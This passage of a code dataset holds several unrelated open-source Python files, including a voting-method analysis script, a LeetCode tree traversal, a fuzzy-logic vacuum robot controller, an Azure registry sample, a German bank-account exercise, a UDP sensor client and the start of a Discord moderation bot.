Condorcet : \"+Champions[0])\r\n else :\r\n print(\"Pas de Champion\")\r\n\r\n return(matricePref)\r\n\r\ndef plotDistrib(distrib):\r\n mentionsCount = pd.DataFrame(columns=distrib.columns, index=[x for x in range(1,8)])\r\n\r\n for cand in distrib.columns:\r\n mentionsCount[cand] = distrib[cand].value_counts()\r\n mentionsCount = mentionsCount.loc[mentionsCount.index.sort_values(),].transpose().fillna(0)\r\n mentionsCount.reset_index(inplace=True)\r\n\r\n plt.ion()\r\n mentionsCount.plot(x='index', kind='barh', stacked=True,\r\n title='Mention majoritaire', figsize=(10, 1 * len(distrib.columns)),\r\n colormap=\"RdYlGn\", **{\"width\": 0.7})\r\n plt.legend(loc=\"center right\")\r\n plt.axvline(x=(len(distrib)-1) // 2+0.5, color=\"black\")\r\n plt.ylabel(\"Répartition\", size = 20)\r\n plt.show()\r\n\r\n return(mentionsCount.set_index(\"index\").T)\r\n\r\ndef plotMentions(mentions):\r\n\r\n mentionsCount = mentions.loc[mentions.index.sort_values(),].transpose().fillna(0)\r\n mentionsCount.reset_index(inplace=True)\r\n\r\n plt.ion()\r\n mentionsCount.plot(x='index', kind='barh', stacked=True,\r\n title='Mention majoritaire', figsize=(10, 1 * len(mentions.columns)),\r\n colormap=\"RdYlGn\", **{\"width\": 0.7})\r\n plt.legend(loc=\"center right\")\r\n plt.axvline(x=(mentions.sum()[0] - 1) // 2 + 0.5, color=\"black\")\r\n plt.ylabel(\"Répartition\", size = 20)\r\n plt.show()\r\n\r\n return (mentionsCount.set_index(\"index\").T)\r\n\r\ndef plotDistribRef2(distrib, redBars = True):\r\n Cand1, Cand2 = distrib.columns\r\n newPlot = distrib[[Cand1, Cand2]].value_counts().reset_index().sort_values([Cand1, Cand2]).reset_index()\r\n newPlot[1] = 0\r\n countRef = distrib[Cand1].value_counts().sort_index().reset_index()\r\n countRef.columns = [Cand2, 1]\r\n newPlot = pd.concat([newPlot, countRef], ignore_index=True).fillna(0).astype(int)\r\n\r\n colors = [\"#A50026\", \"#EA5739\", \"#FDBF6F\",\"#FEFFBE\", \"#B7E075\", \"#4BB05C\", \"#006837\"]\r\n plots = [newPlot.loc[i, [0, 1]] for i in range(len(newPlot))]\r\n\r\n plt.figure(figsize=(10, 2))\r\n plt.barh([Cand2, Cand1], plots[0], color=colors[newPlot.loc[0, Cand2] - 1])\r\n sum = np.array(plots[0])\r\n\r\n for i in range(1, len(newPlot)):\r\n plt.barh([Cand2, Cand1], plots[i], left=sum, color=colors[newPlot.loc[i, Cand2] - 1])\r\n sum += plots[i]\r\n\r\n sum = 0\r\n for i in range(len(countRef)):\r\n sum += countRef.loc[i,1]\r\n if(redBars):\r\n plt.axvline(x=sum, color=\"red\")\r\n\r\n if(redBars):\r\n plt.axhline(y=-0.5, color=\"red\")\r\n plt.axhline(y=1.5, color=\"red\")\r\n plt.ylabel(\"Distribution\", size=20)\r\n plt.show()\r\n\r\n# JM / Condorcet / Uninominal\r\ncountMentionsDist = plotDistrib(distVote)\r\n\r\nlastDistrib = JugementMajoritaire(distVote)\r\nplotDistrib(lastDistrib)\r\n\r\nuninominal = Uninominal1Tour(distVote)\r\n\r\ncondorcet = ChampionCondorcet(distVote)\r\nprint(condorcet)\r\n\r\n## Création distributions spéciales\r\n\r\ndef creePrefCand2(mentions):\r\n Cand1, Cand2 = mentions.columns\r\n sum, distribErreur = 0, pd.DataFrame(columns=list(mentions.columns)+[\"Nb\"])\r\n for gap in range(1,7):\r\n for j in range(1+gap,8):\r\n add = min(mentions.loc[j-gap,Cand1+(gap-1)*\"*\"],mentions.loc[j,Cand2+(gap-1)*\"*\"])\r\n sum += add\r\n mentions.loc[j-gap,Cand1+gap*\"*\"] = int(mentions.loc[j-gap,Cand1+(gap-1)*\"*\"] - add)\r\n mentions.loc[j,Cand2+gap*\"*\"] = int(mentions.loc[j,Cand2+(gap-1)*\"*\"] - add)\r\n if(add != 0):\r\n distribErreur = distribErreur.append({Cand1:j-gap, Cand2:j, \"Nb\": add}, ignore_index=True)\r\n print(add)\r\n mentions.loc[(7-gap+1):7,Cand1+gap*\"*\"] = mentions.loc[(7-gap+1):7,Cand1+(gap-1)*\"*\"]\r\n mentions.loc[1:gap, Cand2 + gap * \"*\"] = mentions.loc[1:gap, Cand2 + (gap-1) * \"*\"]\r\n\r\n mentionsFinales = mentions[mentions.columns[-2::]]\r\n mentionsFinales.columns = [Cand1,Cand2]\r\n print(\"Préférence de \"+str(sum)+\"% de l'électorat pour le candidat 2 : \"+Cand2)\r\n return(distribErreur, mentionsFinales)\r\n\r\ndef creeEgalite(mentions):\r\n Cand1, Cand2 = mentions.columns\r\n sum, distribErreur = 0, pd.DataFrame(columns=list(mentions.columns) + [\"Nb\"])\r\n gap = 1\r\n for j in range(1,8):\r\n add = min(mentions.loc[j, Cand1], mentions.loc[j, Cand2])\r\n sum += add\r\n mentions.loc[j, Cand1 + gap * \"*\"] = int(mentions.loc[j, Cand1 + (gap - 1) * \"*\"] - add)\r\n mentions.loc[j, Cand2 + gap * \"*\"] = int(mentions.loc[j, Cand2 + (gap - 1) * \"*\"] - add)\r\n if (add != 0):\r\n distribErreur = distribErreur.append({Cand1: j, Cand2: j, \"Nb\": add}, ignore_index=True)\r\n print(add)\r\n mentionsFinales = mentions[mentions.columns[-2::]]\r\n mentionsFinales.columns = [Cand1, Cand2]\r\n print(\"Egalité sur \" + str(sum) + \"% de l'électorat.\")\r\n return (distribErreur, mentionsFinales)\r\n\r\nCand1, Cand2 = \"Cand7\", \"Cand9\"\r\nmentions = countMentionsDist[[Cand1,Cand2]]\r\ndistrib1, mentions1 = creePrefCand2(mentions)\r\ndistrib2, mentions2 = creeEgalite(mentions1)\r\ndistrib3, mentions3 = creePrefCand2(mentions2[[Cand2,Cand1]])\r\n\r\ndistribGroupesErreur = pd.concat([distrib1, distrib2, distrib3], ignore_index=True).astype(int)\r\ndistribErreur = groupeToDistrib(distribGroupesErreur)\r\n\r\nmentionsNew = plotDistrib(distribErreur)\r\nmentionsOld = plotDistrib(distVote[[Cand1,Cand2]])\r\njugementMajo = JugementMajoritaire(distribErreur)\r\nplotDistrib(jugementMajo)\r\n\r\nuninominalErreur = Uninominal1Tour(distribErreur)\r\nuninominalOld = Uninominal1Tour(distVote[[Cand1,Cand2]])\r\n\r\nplotDistribRef2(distribErreur[[Cand2,Cand1]])\r\nplotDistribRef2(distVote[[Cand2,Cand1]])\r\nplotDistribRef2(distribErreur[[Cand2,Cand1]], False)\r\nplotDistribRef2(distVote[[Cand2,Cand1]], False)\r\n\r\n# Cas particulier Laslier\r\ndistEtrange = groupeToDistrib(distribGroupes)\r\ncondorcetEtrange = ChampionCondorcet(distEtrange)\r\nprint(condorcetEtrange)\r\nplotDistrib(distEtrange)\r\n\r\n\r\n# Cas particulier : laprimairepopulaire.org 2022\r\nmentionsGroupes = pd.DataFrame(columns=[\"Christiane Taubira\", \"Yannick Jadot\", \"Jean-Luc Mélenchon\",\"Index\"])\r\nmentionsGroupes[\"Index\"] = [1,2,3,4,5,6,7]\r\nmentionsGroupes[\"Christiane Taubira\"] = [0,13,8,12,18,49,0]\r\nmentionsGroupes[\"Yannick Jadot\"] = [0,19,15,21,23,21,0]\r\nmentionsGroupes[\"Jean-Luc Mélenchon\"] = [0,29,18,17,15,21,0]\r\nmentionsGroupes = mentionsGroupes.set_index(\"Index\")\r\n\r\nplotMentions(mentionsGroupes)\r\n\r\nCand1, Cand2 = \"Christiane Taubira\", \"Yannick Jadot\"\r\nmentionsPP = mentionsGroupes[[Cand1,Cand2]]\r\ndistribPP1, mentionsPP1 = creePrefCand2(mentionsPP)\r\ndistribPP2, mentionsPP2 = creeEgalite(mentionsPP1)\r\ndistribPP3, mentionsPP3 = creePrefCand2(mentionsPP2[[Cand2,Cand1]])\r\n\r\ndistribGroupesErreurPP = pd.concat([distribPP1, distribPP2, distribPP3], ignore_index=True).astype(int)\r\ndistribErreurPP = groupeToDistrib(distribGroupesErreurPP)\r\n\r\nmentionsNewPP = plotDistrib(distribErreurPP)\r\nuninominalErreurPP = Uninominal1Tour(distribErreurPP)\r\nplotDistribRef2(distribErreurPP[[Cand2,Cand1]])","repo_name":"CitoyensDeDemain/JugementMajoritaire","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73699411607","text":"\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\n\nclass Solution:\n def levelOrder(self, root: 'Node') -> List[List[int]]:\n if not root:\n return []\n\n my_queue = []\n seen = set()\n outputs = []\n\n # initialize\n my_queue.append(root)\n seen.add(root)\n\n while my_queue:\n level_output = [node.val for node in my_queue]\n outputs.append(level_output)\n\n for _ in range(len(level_output)):\n node = my_queue.pop(0)\n if node.children:\n for child in node.children:\n my_queue.append(child)\n\n return outputs\n\n\"\"\"\nResults:\nBFS\nRuntime: 56 ms, faster than 53.35% of Python3 online submissions for N-ary Tree Level Order Traversal.\nMemory Usage: 15.6 MB, less than 72.91% of Python3 online submissions for N-ary Tree Level Order Traversal.\n\"\"\"","repo_name":"buptwxd2/leetcode","sub_path":"Round_1/429. N-ary Tree Level Order Traversal/solution_1.py","file_name":"solution_1.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19957949956","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport skfuzzy as fuzz\nfrom skfuzzy import control as ctrl\n\n\n\"\"\"\n* Antecednets (Inputs)\n - `cleanliness`\n * Universe (ie, crisp value range): How dirty is a tile on the floor, \n on a scale of 0 to 10?\n * Fuzzy set (ie, fuzzy value range): very dirty, dirty, little dirty, clean\n - `battery level`\n * Universe: How much battery has the robot left, on a scale of 0 to 100?\n * Fuzzy set: low, medium, high\n - `water level`\n * Universe: What is the water level, on a scale of 0 to 6?\n * Fuzzy set: low, medium, high\n* Consequents (Outputs)\n - `motor speed`\n * Universe: How fast do motors rotate per minute, on a scale of 0 to 10\n * Fuzzy set: low, medium, high\n - `time per tile`\n * Universe: How much time does a robot spend on one tile, on a scale of 0 to 4\n * Fuzzy set: short, average, long\n* Rules\n - IF the *cleanliness* is very dirty *and* the *battery level* is high,\n THEN the motor_speed will be high.\n - IF the *cleanliness* is dirty, \n THEN the motor speed will be medium.\n - IF the *cleanliness* is a little dirty *or* the *battery level* is medium\n THEN the motor speed will be low.\n - IF the *cleanliness* is clean *or* the *battery level* is low\n THEN the motor speed will be low.\n - IF the *cleanliness* is very dirty *and* the *water level* is low,\n THEN the time per tile will be long.\n - IF the *cleanliness* is very dirty *and* the *water level* is medium,\n THEN the time per tile will be long.\n - IF the *cleanliness* is very dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is dirty *and* the *water level* is low\n THEN the time per tile will be long.\n - IF the *cleanliness* is dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is dirty *and* the *water level* is high\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is low\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is high\n THEN the time per tile will be short.\n - IF the *cleanliness* is clean *and* the *water level* is low\n THEN the time per tile will be average.\n - IF the *cleanliness* is clean *and* the *water level* is medium\n THEN the time per tile will be short.\n - IF the *cleanliness* is clean *and* the *water level* is high\n THEN the time per tile will be short.\n* Usage\n - If the controller receives values:\n * the cleanliness equal 3, and\n * the water level equal 3, and\n * the battery level equal 75,\n - it would set:\n * a 4.53 motor speed.\n * a 2.0 time spend per tile\n\"\"\"\n\n\n# Antecedents definition\ncleanliness = ctrl.Antecedent(np.arange(0, 11, 1), 'cleanliness')\nwater_level = ctrl.Antecedent(np.arange(0, 7, 1), 'water_level')\nbattery_level = ctrl.Antecedent(np.arange(0, 100, 1), 'battery_level')\n\n\n# Consequents definition\nmotor_speed = ctrl.Consequent(np.arange(0, 11, 1), 'motor_speed')\ntime_per_tile = ctrl.Consequent(np.arange(0, 5, 1), 'time_per_tile')\n\n\n# Custom membership functions for antecedents\ncleanliness['very_dirty'] = fuzz.trimf(cleanliness.universe, [0, 0, 3])\ncleanliness['dirty'] = fuzz.trimf(cleanliness.universe, [0, 3, 7])\ncleanliness['little_dirty'] = fuzz.trimf(cleanliness.universe, [3, 7, 10])\ncleanliness['clean'] = fuzz.trimf(cleanliness.universe, [7, 10, 10])\n\nwater_level['low'] = fuzz.trimf(water_level.universe, [0, 0, 3])\nwater_level['medium'] = fuzz.trimf(water_level.universe, [0, 3, 6])\nwater_level['high'] = fuzz.trimf(water_level.universe, [3, 6, 6])\n\nbattery_level['low'] = fuzz.trimf(battery_level.universe, [0, 0, 50])\nbattery_level['medium'] = fuzz.trimf(battery_level.universe, [0, 50, 100])\nbattery_level['high'] = fuzz.trimf(battery_level.universe, [50, 100, 100])\n\n\n# Custom membership functions for consequents\nmotor_speed['low'] = fuzz.trimf(motor_speed.universe, [0, 0, 5])\nmotor_speed['medium'] = fuzz.trimf(motor_speed.universe, [0, 5, 10])\nmotor_speed['high'] = fuzz.trimf(motor_speed.universe, [5, 10, 10])\n\ntime_per_tile['short'] = fuzz.trimf(time_per_tile.universe, [0, 0, 2])\ntime_per_tile['average'] = fuzz.trimf(time_per_tile.universe, [0, 2, 4])\ntime_per_tile['long'] = fuzz.trimf(time_per_tile.universe, [2, 4, 4])\n\n\n# Graph displaying triangular membership functions for antecedents\ncleanliness.view()\nwater_level.view()\nbattery_level.view()\n\n# Graph displaying triangular membership functions for consequents\nmotor_speed.view()\ntime_per_tile.view()\n\n\"\"\"\nFuzzy rules - motor speed\n-----------\n\nDefinition of the *fuzzy relationship* between input and motor speed output variable. \nIn the case of vaccum robot, the following fuzzy rules were defined:\n\n* Rules\n - IF the *cleanliness* is very dirty *and* the *battery level* is high,\n THEN the motor_speed will be high.\n - IF the *cleanliness* is dirty, \n THEN the motor speed will be medium.\n - IF the *cleanliness* is a little dirty *or* the *battery level* is medium\n THEN the motor speed will be low.\n - IF the *cleanliness* is clean *or* the *battery level* is low\n THEN the motor speed will be low.\n\nThe rules are mapped to the specifically defined speed of vacuum robot's motors.\n\"\"\"\nmotor_rule1 = ctrl.Rule(cleanliness['very_dirty'] & battery_level['high'], motor_speed['high'])\nmotor_rule2 = ctrl.Rule(cleanliness['dirty'], motor_speed['medium'])\nmotor_rule3 = ctrl.Rule(cleanliness['little_dirty'] | battery_level['medium'], motor_speed['low'])\nmotor_rule4 = ctrl.Rule(cleanliness['clean'] | battery_level['low'], motor_speed['low'])\n\n# Fuzzy control system with the set of defined fuzzy rules for motor speed\nmotor_speed_ctrl = ctrl.ControlSystem([motor_rule1, motor_rule2, motor_rule3, motor_rule4])\n\n# Results calculation for motor speed from a Control System\nmotor_speed_simulation = ctrl.ControlSystemSimulation(motor_speed_ctrl)\n\n\"\"\"\nFuzzy rules - time per tile\n-----------\n\nDefinition of the *fuzzy relationship* between input and time per tile output variable. \nIn the case of vaccum robot, the following fuzzy rules were defined:\n\n* Rules\n - IF the *cleanliness* is very dirty *and* the *water level* is low,\n THEN the time per tile will be long.\n - IF the *cleanliness* is very dirty *and* the *water level* is medium,\n THEN the time per tile will be long.\n - IF the *cleanliness* is very dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is dirty *and* the *water level* is low\n THEN the time per tile will be long.\n - IF the *cleanliness* is dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is dirty *and* the *water level* is high\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is low\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is medium\n THEN the time per tile will be average.\n - IF the *cleanliness* is little dirty *and* the *water level* is high\n THEN the time per tile will be short.\n - IF the *cleanliness* is clean *and* the *water level* is low\n THEN the time per tile will be average.\n - IF the *cleanliness* is clean *and* the *water level* is medium\n THEN the time per tile will be short.\n - IF the *cleanliness* is clean *and* the *water level* is high\n THEN the time per tile will be short.\n\nThe rules are mapped to the specifically defined amount of time the robot spends on a single tile. \n\"\"\"\n\ntime_per_tile_rule1 = ctrl.Rule(cleanliness['very_dirty'] & water_level['low'], time_per_tile['long'])\ntime_per_tile_rule2 = ctrl.Rule(cleanliness['very_dirty'] & water_level['medium'], time_per_tile['long'])\ntime_per_tile_rule3 = ctrl.Rule(cleanliness['very_dirty'] & water_level['high'], time_per_tile['average'])\ntime_per_tile_rule4 = ctrl.Rule(cleanliness['dirty'] & water_level['low'], time_per_tile['long'])\ntime_per_tile_rule5 = ctrl.Rule(cleanliness['dirty'] & water_level['medium'], time_per_tile['average'])\ntime_per_tile_rule6 = ctrl.Rule(cleanliness['dirty'] & water_level['high'], time_per_tile['average'])\ntime_per_tile_rule7 = ctrl.Rule(cleanliness['little_dirty'] & water_level['low'], time_per_tile['average'])\ntime_per_tile_rule8 = ctrl.Rule(cleanliness['little_dirty'] & water_level['medium'], time_per_tile['average'])\ntime_per_tile_rule9 = ctrl.Rule(cleanliness['little_dirty'] & water_level['high'], time_per_tile['short'])\ntime_per_tile_rule10 = ctrl.Rule(cleanliness['clean'] & water_level['low'], time_per_tile['average'])\ntime_per_tile_rule11 = ctrl.Rule(cleanliness['clean'] & water_level['medium'], time_per_tile['short'])\ntime_per_tile_rule12 = ctrl.Rule(cleanliness['clean'] & water_level['high'], time_per_tile['short'])\n\n# Fuzzy control system with the set of defined fuzzy rules for time spend per tile\ntime_per_tile_ctrl = ctrl.ControlSystem([time_per_tile_rule1, time_per_tile_rule2, time_per_tile_rule3,\n time_per_tile_rule4, time_per_tile_rule5, time_per_tile_rule6,\n time_per_tile_rule7, time_per_tile_rule8, time_per_tile_rule9,\n time_per_tile_rule10, time_per_tile_rule11, time_per_tile_rule12])\n\n# Results calculation for time spend per tile from a Control System\ntime_per_tile_simulation = ctrl.ControlSystemSimulation(time_per_tile_ctrl)\n\n# Specifying crisp input values\ncleanliness_input = 3\nwater_level_input = 3\nbattery_level_input = 75\n\nmotor_speed_simulation.input['cleanliness'] = cleanliness_input\nmotor_speed_simulation.input['battery_level'] = battery_level_input\n\ntime_per_tile_simulation.input['cleanliness'] = cleanliness_input\ntime_per_tile_simulation.input['water_level'] = water_level_input\n\n# Fuzzy system computation for motor speed\nmotor_speed_simulation.compute()\ntime_per_tile_simulation.compute()\n\n# Displaying calculated values\nprint(\"Motor speed: \" + str(motor_speed_simulation.output['motor_speed']))\nprint(\"Time per tile: \" + str(time_per_tile_simulation.output['time_per_tile']))\n# Graph displaying triangular membership functions for calculated motor speed value\nmotor_speed.view(sim=motor_speed_simulation)\n# Graph displaying triangular membership functions for calculated time spend per tile value\ntime_per_tile.view(sim=time_per_tile_simulation)\n\n# Displaying MATLAB-like plot\nplt.show()\n","repo_name":"KeWiS/pj_ai_tools","sub_path":"roomba_vacuum_robot/fuzzy_vacuum.py","file_name":"fuzzy_vacuum.py","file_ext":"py","file_size_in_byte":10734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43108162666","text":"from dotenv import find_dotenv, load_dotenv\nimport os\n\nfrom azure.containerregistry import ContainerRegistryClient\nfrom azure.identity import DefaultAzureCredential\n\nclass ListTags(object):\n def __init__(self):\n load_dotenv(find_dotenv())\n\n def list_tags(self):\n # Create a new ContainerRegistryClient \n audience = \"https://management.azure.com\"\n account_url = os.environ[\"CONTAINERREGISTRY_ENDPOINT\"]\n credential = DefaultAzureCredential()\n client = ContainerRegistryClient(account_url, credential, audience=audience)\n\n manifest = client.get_manifest_properties(\"library/hello-world\", \"latest\")\n print(manifest.repository_name + \": \")\n for tag in manifest.tags:\n print(tag + \"\\n\")\n\n client.close()\n\n\nif __name__ == \"__main__\":\n sample = ListTags()\n sample.list_tags()\n","repo_name":"mirespace/python-azure","sub_path":"sdk/containerregistry/azure-containerregistry/samples/sample_list_tags.py","file_name":"sample_list_tags.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"14799059882","text":"#!/usr/bin/env python\n\ndef neues_konto(inhaber, kontonummer, kontostand, max_tagesumsatz=1500):\n return {\n \"Inhaber\" : inhaber,\n \"Kontonummer\" : kontonummer,\n \"Kontostand\" : kontostand,\n \"MaxTagesumsatz\" : max_tagesumsatz,\n \"UmsatzHeute\" : 0\n }\n\ndef geldtransfer(quelle, ziel, betrag):\n # Hier erfolgt der Test, ob der Transfer möglich ist\n if (betrag < 0 or\n quelle[\"UmsatzHeute\"] + betrag > quelle[\"MaxTagesumsatz\"] or\n ziel[\"UmsatzHeute\"] + betrag > ziel[\"MaxTagesumsatz\"]):\n # Transfer unmöglich\n return False\n else:\n # Alles OK - Auf geht's\n quelle[\"Kontostand\"] -= betrag\n quelle[\"UmsatzHeute\"] += betrag\n ziel[\"Kontostand\"] += betrag\n ziel[\"UmsatzHeute\"] += betrag\n return True\n\ndef einzahlen(konto, betrag):\n if betrag < 0 or konto[\"UmsatzHeute\"] + betrag > konto[\"MaxTagesumsatz\"]:\n # Tageslimit überschritten oder ungültiger Betrag\n return False\n else:\n konto[\"Kontostand\"] += betrag\n konto[\"UmsatzHeute\"] += betrag\n return True\n\ndef auszahlen(konto, betrag):\n if betrag < 0 or konto[\"UmsatzHeute\"] + betrag > konto[\"MaxTagesumsatz\"]:\n # Tageslimit überschritten oder ungültiger Betrag\n return False\n else:\n konto[\"Kontostand\"] -= betrag\n konto[\"UmsatzHeute\"] += betrag\n return True\n\ndef zeige_konto(konto):\n print(\"Konto von {}\".format(konto[\"Inhaber\"]))\n print(\"Aktueller Kontostand: {:.2f} Euro\".format(konto[\"Kontostand\"]))\n print(\"(Heute schon {:.2f} von {} Euro umgesetzt)\".format(konto[\"UmsatzHeute\"], konto[\"MaxTagesumsatz\"]))\n\n\nif __name__ == \"__main__\":\n k1 = neues_konto(\"Heinz Meier\", 567123, 12350.0)\n k2 = neues_konto(\"Erwin Schmidt\", 396754, 15000.0)\n geldtransfer(k1, k2, 160)\n geldtransfer(k2, k1, 1000)\n geldtransfer(k2, k1, 500)\n einzahlen(k2, 500)\n zeige_konto(k1)\n zeige_konto(k2)\n","repo_name":"Eskimo-SVD/Oliver_private_Bude","sub_path":"Python-Buch/19_Objektorientierung/beispiel_1_nichtobjektorientiertes_konto.py","file_name":"beispiel_1_nichtobjektorientiertes_konto.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"29411981936","text":"import socket\r\nimport sys\r\n\r\nESTADO='OFF'\r\n\r\n#------------------------------------------------------\r\ndef defineMonitor():\r\n print('IP do monitor: =localhost')\r\n ip = input()\r\n if not ip: #IP Default\r\n ip = '127.0.0.1'\r\n\r\n print('PORTA do monitor: =9999')\r\n data = input()\r\n if not data:\r\n porta=9999 #Porta Default\r\n else:\r\n porta=int(data)\r\n\r\n print('ID do sensor: =sala')\r\n ID= input()\r\n if not ID:\r\n ID='sala' #ID Default\r\n\r\n return(ip, porta, ID)\r\n \r\ndef interpretaComando(comando, addr):\r\n global ESTADO\r\n strcomando = str(comando,'utf-8').lower()\r\n print('Recebi o comando', strcomando)\r\n if strcomando == 'ligar':\r\n ESTADO = 'ON'\r\n elif strcomando == 'desligar':\r\n ESTADO = 'OFF'\r\n elif strcomando == 'consulta':\r\n s.sendto(bytes('ESTADO '+ ESTADO, 'utf-8'), addr)\r\n elif strcomando == 'ackregistro': # recebe confirmação de registro do sensor\r\n print('registro confirmado')\r\n else:\r\n print('comando desconhecido: ', comando)\r\n\r\n#------------------------------------------------------\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\r\n(ip, porta, ID) = defineMonitor()\r\n \r\ns.sendto(bytes('REGISTRO '+ ID, 'utf-8'), (ip, porta))\r\n \r\nwhile True:\r\n data, addr = s.recvfrom(1024)\r\n interpretaComando(data, (ip,porta))\r\n \r\nprint('o cliente encerrou')\r\ns.close()","repo_name":"C-Zuge/PUCPR","sub_path":"Computer_Networks/Class_4/Sensor.py","file_name":"Sensor.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38220499830","text":"import disnake\r\nimport os\r\nimport random\r\nimport re\r\nimport json\r\nfrom disnake.ext import commands\r\nfrom enum import Enum\r\n\r\nTOKEN = os.environ['BOT_TOKEN']\r\n\r\nintents = disnake.Intents.all()\r\nintents.members = True\r\n\r\nmuzzled = {}\r\nmuzzlers = {}\r\nmuzzled_by = {}\r\n\r\nbot = commands.InteractionBot(\r\n\tcommand_prefix='',\r\n\tintents=intents\r\n)\r\n\r\nclass ApologyView(disnake.ui.View):\r\n\tdef __init__(self):\r\n\t\tsuper().__init__(timeout=None)\r\n\r\n\t@disnake.ui.button(label=\"I'm sorry. 🥺\", style=disnake.ButtonStyle.primary)\r\n\tasync def a_button(\r\n self, button: disnake.ui.Button, interaction: disnake.MessageInteraction\r\n ):\r\n\t\tif interaction.author.mention in interaction.message.content:\r\n\t\t\tif not has_emoji(interaction.message,'⭐'):\r\n\t\t\t\tapology_accepted = flavor('accepted',interaction.author,'apology')\r\n\t\t\t\tawait star_emoji(interaction.message)\r\n\t\t\t\tawait interaction.response.send_message(content=apology_accepted)\r\n\t\t\telse:\r\n\t\t\t\tcon = flavor('alreadyapologized',interaction.author,'apology')\r\n\t\t\t\tawait interaction.response.send_message(content=con,ephemeral=True)\t\r\n\t\telse:\r\n\t\t\tcon = flavor('notyourswear',interaction.author,'apology', interaction.author.mention)\r\n\t\t\tawait interaction.response.send_message(content=con,ephemeral=True)\r\n\r\nintro_channels = {}\r\nguild_role_colors = {}\r\n\r\n@bot.user_command(description=\"Display this user's introduction.\")\r\nasync def Introduction(inter):\r\n\tprint(intro_channels)\r\n\t#Locate this server's introduction channel if we don't have it cached.\r\n\tguild_id = inter.guild.id\r\n\tif guild_id in intro_channels:\r\n\t\tchannel_id = intro_channels[guild_id]\r\n\telse:\r\n\t\tchannel_id = -1\r\n\t\tfor channel in inter.guild.channels:\r\n\t\t\tif channel.name == 'introduction':\r\n\t\t\t\tchannel_id = channel.id\r\n\t\t\t\tbreak\r\n\t\tif channel_id == -1:\r\n\t\t\tawait inter.response.send_message(content=\"Server's introduction channel could not be found.\",ephemeral=True)\r\n\t\t\treturn\r\n\t\telse:\r\n\t\t\tintro_channels[guild_id] = channel_id\r\n\r\n\tuser = inter.target\r\n\tguild = inter.guild\r\n\tchannel = guild.get_channel_or_thread(channel_id)\r\n\t\r\n\trole_colors = {}\r\n\tif guild_id in guild_role_colors:\r\n\t\trole_colors = guild_role_colors[guild_id]\r\n\telse:\r\n\t\tfor role in guild.roles:\r\n\t\t\trole_colors[role.name] = role.color\r\n\t\tguild_role_colors[guild_id] = role_colors\r\n\r\n\thistory = channel.history(limit=500)\r\n\tlast_message = -1\r\n\textra = False\r\n\tfound = False\r\n\r\n\tasync for message in history:\r\n\t\tif found:\r\n\t\t\tif message.author.id == user.id:\r\n\t\t\t\tlast_message = message\r\n\t\t\t\textra = True\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\t\telif message.author.id == user.id:\r\n\t\t\tlast_message = message\r\n\t\t\tfound = True\r\n\r\n\te = disnake.Embed()\t\r\n\tif last_message == -1:\r\n\t\tcon=\"\"\r\n\t\te.description=f\"No introduction found for {user.mention}.\"\r\n\telse:\r\n\t\tcon=\"\"\r\n\t\te.description = user.mention+\"\\n\"+last_message.content\r\n\t\tif extra:\t\t\t\r\n\t\t\te.description += f\"\\r\\r*This introduction is composed of multiple messages.* [View the first message]({last_message.jump_url}).\"\r\n\t\tif hasRole(user,'Sub'):\r\n\t\t\te.color=role_colors['Sub']\r\n\t\telif hasRole(user,'Switch'):\r\n\t\t\te.color=role_colors['Switch']\r\n\t\telif hasRole(user,'Dom'):\r\n\t\t\te.color=role_colors['Dom']\r\n\r\n\tawait inter.response.send_message(embed=e,content=con,ephemeral=True)\r\n\r\nmuzzle_flavor_text = json.load(open('flavor.json', encoding='utf-8'))\r\nkink_list = json.load(open('bumps.json', encoding='utf-8'))\r\n\r\nmuzzle_options = list(muzzle_flavor_text.keys())\r\nmuzzle_options.remove(\"swearing\")\r\nmuzzle_options.remove(\"apology\")\r\nMuzzleType = commands.option_enum(muzzle_options)\r\n\r\n@bot.slash_command(description=\"Release ALL users in ALL chats.\")\r\nasync def release_all(inter):\r\n\tawait start_release(inter.author,inter=inter,release_all=True)\r\n\r\n@bot.slash_command(description=\"Release a user\")\r\nasync def release(inter,\r\n\ttarget:disnake.User = commands.Param(default=\"\",description=\"Who are you releasing from their muzzle?\")\r\n\t):\r\n\t\toverride = False\r\n\t\tif hasRole(inter.author,'Staff'):\r\n\t\t\toverride = True\r\n\t\tif target == \"\":\r\n\t\t\tawait start_release(inter.author,inter=inter,override=override)\r\n\t\telse:\r\n\t\t\tawait start_release(inter.author,target=target.mention,inter=inter,override=override)\r\n@bot.slash_command(description=\"Muzzle a user.\")\r\nasync def muzzle(inter, \r\n\t\tmuzzle_type: MuzzleType = commands.Param(description=\"Which muzzle is being used for this command?\"), \r\n\t\ttarget:disnake.User = commands.Param(description=\"Who are you targetting with this muzzle?\"), \r\n\t\twords:str = commands.Param(default=\"\",description=\"List of words the target is allowed to say. Separate these with 